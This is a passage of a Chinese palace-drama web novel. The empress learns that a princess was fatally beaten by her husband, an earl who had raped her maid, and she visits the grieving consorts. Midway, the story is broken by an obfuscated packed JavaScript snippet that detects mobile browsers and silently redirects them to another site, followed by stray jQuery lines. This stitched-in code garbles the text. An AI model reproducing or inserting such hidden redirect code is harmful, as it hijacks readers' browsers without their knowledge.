此话一出,原本安坐亭内的其他三人也被惊得站起了身。
元嘉似乎有些反应不过来,唇瓣开开合合了好几下,才终于找回了自己的声音,“……怎么没的?”
“……说是驸马伤的。”
徐妈妈艰难开口,“原是申内官去清宁宫寻您,因您外出,又不好离开陛下太久,于是交待了奴婢两句,便又匆匆回去了。可究竟是什么情况,奴婢也知道的不甚清楚。”
元嘉长长吐出一口浊气,三步并作两步地从凉亭里走出来。她只来得及朝倪娉柔几人投以歉意的一瞥,便匆忙坐上步辇离开了,只留下三人在御苑内面面相觑。
“不是才坐稳胎么,怎么会……”
刘婵喃喃道。
……
回到清宁宫,元嘉还没来得及踏进正殿,便与步履匆忙地从里头出来的祥顺迎面相撞。
“女君!可算是把您等回来了!”
祥顺哭丧着脸,一副六神无主的模样。
“……是你师傅让你过来的?”元嘉猛地收住脚步,又盯着人问道,“可还交代了你旁的?”
而这声师傅,指的自然就是申时安了。
“师傅说陛下动了大气,坚持要严惩昌平伯及其家族,可朝中诸位大臣各执己见,如何惩、惩多重,全无定数……”
祥顺将头埋得极低,“而宫人去知会齐太妃时,太后也在……齐太妃闻讯当场昏厥,太后更是勃然大怒,扬言要昌平伯偿命。这事儿闹得厉害,前朝后宫都被扯了进去,是以师傅他老人家又让奴才再过来跑一趟,一定等着您回来先通个气,后头……怕是还有的闹呢!”
听到这里,元嘉躁动不安的心反倒稳下来了。她迅速思考了几瞬,脚下再度动作起来,“进来回话,将你和你师傅知道的、万春长公主与昌平伯的事情全部说给予听。”
祥顺自是答应,诶了一声便跟在元嘉身后行走。
……
元嘉甫一进殿,便就近寻了个坐处落座,又拧着眉让祥顺开口。
“……女君容禀。”
祥顺定了定神,又极快地厘清自己一团乱麻的大脑,方斟酌着回话:“因长公主与昌平伯经年无子,是以长公主有孕后,昌平伯也上心照顾,可、可不久便故态复萌,不是去平康坊,便是与府上的姬妾作乐。长公主安胎为上,平日里瞧见了也只当没瞧见,遇上了也多是回避,可哪知昌平伯竟变本加厉……”
“他对长公主做了什么?”
元嘉面无表情,眼中的怒意却愈发重了。
“……前几日,昌平伯吃酒归来,在后院遇上了长公主的贴身宫女。那宫女取了长公主的补药,正要回去侍奉,不想昌平伯酒意上头,竟、竟对人行了强迫之事,那侍女亦是贞烈,不堪受此侮辱,当场自绝。”
“……然后呢?”
元嘉像是不堪忍受般阖上眼睛,缓了缓又睁开,强逼着自己继续问道。
“长公主原是等在屋里,因迟迟不见人回来,一路寻去瞧见那宫女自绝的惨状,气急之下上前争执……昌平伯、昌平伯便对人动了手!”
祥顺一开始还稳着声调,可越说到后面越是气愤,“长公主怀胎本就体弱,昌平伯这一下就去了半条命,孩子更是当夜就没了。昌平伯唯恐自己打伤长公主的事情被宣扬出去,竟把长公主身边的人全数关了起来,也不准伯爷府的人去请医士,如此行径,余下照看的人又怎会尽心……长公主哀嚎了几日,最后伤重不治而死。可恨那厮还想以长公主急病离世为由遮掩,好在老天有眼,这事还是被人发现了!”
元嘉深吸了一口气,可还是压抑不住心中那股怒意。她抬手抓过离自己最近的物件,看也不看地掷在地上,伴随着一道清脆的瓷器碎裂声,元嘉的声音也随之响起——
“混账东西!”
众人立刻跪倒在地,只有逢春和徐妈妈带着忧色朝元嘉望去。而前者,右手死死攥住桌角,用力到指尖隐约可窥青白,兀自平复了好一会儿,终是逼自己冷静了下来,“那昌平伯如今、又在何处?”
“人已在大理寺狱。”
元嘉颔首,又沉默了好一会儿,方道:“回去告诉你师傅吧,就说事情予都清楚了,至于后头要怎么办,予也得再细想想。”
祥顺低头道了声是,再不敢多说什么,利索地从地上爬起来,行了礼便迅速离开。
没了祥顺回话的声音,殿内突然变得安静起来。元嘉不开口,徐妈妈几人便也不敢惊扰。久久地,才听见上首传来一声叹息。
“……让人把碎瓷片收拾了吧。”
元嘉倦累地挥了挥手,愁眉深锁。
徐妈妈左右示意了两眼,自己又走近两步,“女君──”
元嘉却蓦地打断,“熙宁长公主近两日有无进宫?”
徐妈妈回忆了一下,有些不确定地摇头。
“万春长公主死在宫外,如今又闹到了前朝,这消息想也瞒不住了。”元嘉垂目思忖几瞬,“让人立刻跑一趟熙宁长公主府,把这件事原原本本地说与长公主知,再请她进宫来,陪陪太后,也、安慰安慰齐太妃……”
徐妈妈屈膝应下,“那咱们这儿,是否也要先传话下去,让宫女内侍们都谨小慎微些,不要在私底下妄议妄论呢?”
元嘉又是一阵沉默,最终还是拒绝了徐妈妈的建议,“这事压不下来的,太后也好,陛下也罢,全都想让昌平伯赔命,予……亦然。是以这事,闹的越大越好,闹的越为人所知越好。不必约束她们,随她们去吧!”
“是。”
徐妈妈再度应下,这才强打起精神出去吩咐人。
元嘉看了眼红玉与逢春,又道:“去传辇,再去太医署把章有为请来,一并带些安神的补物,予要去长生殿探望齐太妃。”
两人旋即应下,各自出去做事。
元嘉微微仰头,将背脊靠向后方椅背,一脸倦容。突然间,她像意识到什么似的迅速起身,紧跟着走去了后殿。
等徐妈妈几人再来回话时,元嘉已换了身素净衣裙,连固发的簪钗也换成了银的或是玉的。万春长公主过世,齐太妃正是伤心痛苦之时,她实在不能再翠袖红裙地去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15839527|154513||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
见人了……
……
踏进长生殿,元嘉便感受到一股浸人的冷意,不是时节的原因,更像是这座宫室自带的一般。
“给母后请安。”
娄太后没有离开长生殿,此刻正挨着床榻坐着,无声守着昏睡不醒的齐太妃,面上怒意与悲痛交织,神色更是晦涩难懂。
不等元嘉屈膝,娄太后便已抬手叫起,元嘉也顺势直起了身。
殿内围坐的其他人也跟着起身,彼此间相互见礼──都是留在后宫的先帝嫔妃,其中还包括少与娄太后同处一室的薛贵太妃,和久不见面的赵舒和。
元嘉微微侧身,挪着步子回避了一下,这才蹙着眉头上前。
“母后,齐太妃的情况可好?”
元嘉压低了声音,“儿臣带了太医过来,也有些安神补身的药材,不若让医女们煎了去,再给齐太妃送服……”
娄太后面色沉沉地摇了摇头,“吾已经让太医来看过了,太医说成玉是悲痛过甚,一时气堵……早前醒过一次,可一醒过来就止不住地掉眼泪。吾没有办法,只能逼着成玉把安神汤喝了,这会儿又睡过去了。”
娄太后当是十分担忧的,言语间竟不自觉带出了齐太妃的闺名。
元嘉也不知还能再说些什么宽慰的话,只好收了声,沉默地站在娄太后身边。
“……你们都先回去吧,不必都在这里守着,还有太医和医女们呢。”
娄太后垂目复向齐太妃看去,可最终还是叹着气将目光移开,“皇后陪吾再坐坐。”
“是。”
众人应下,不多时便尽数散去,屋内只余元嘉一人。
“皇后可知道,前朝已为万春长公主的事情闹起来了?”
娄太后似乎是怕惊扰到榻上之人的安眠,动作极轻地起身,换了个离齐太妃稍远的地方坐着,又示意元嘉坐在身边。
“来的匆忙,只囫囵听了一嘴,”元嘉仍是小声,“朝臣们似乎是对如何处置昌平伯各有争论。”
“那皇后以为,昌平伯其人,该死还是该活?”
娄太后目光灼然,直直投射在元嘉看似平静的脸上。
“……昌平伯先杀其子,又害长公主性命,自是死罪无疑。”
元嘉不闪不躲,只短暂沉默了一小会儿,便毫不犹豫地答了娄太后的话。
“好,好!”娄太后连声重复着,“昌平伯必死……成玉,你可安心了,万春那孩子不会就这样白白丢了性命的!”
元嘉诧异回头,这才发现本该昏睡着的齐太妃不知何时已清醒了过来,虽还闭着眼,可面上早已是泪痕满布,身子更是克制不住地颤抖。
元嘉呼吸一窒,亦是不忍再看,只偏过头收回视线。
“……皇后也回去吧,”娄太后眉宇微舒,“皇帝这几日怕也烦心的很,皇后还要多加宽慰才是。”
既得了元嘉表态,娄太后便也不再留人,只满含深意地看了元嘉一眼,语气重又恢复了平淡。
元嘉顺从起身,再度朝娄太后一屈膝,这才后退几步离开。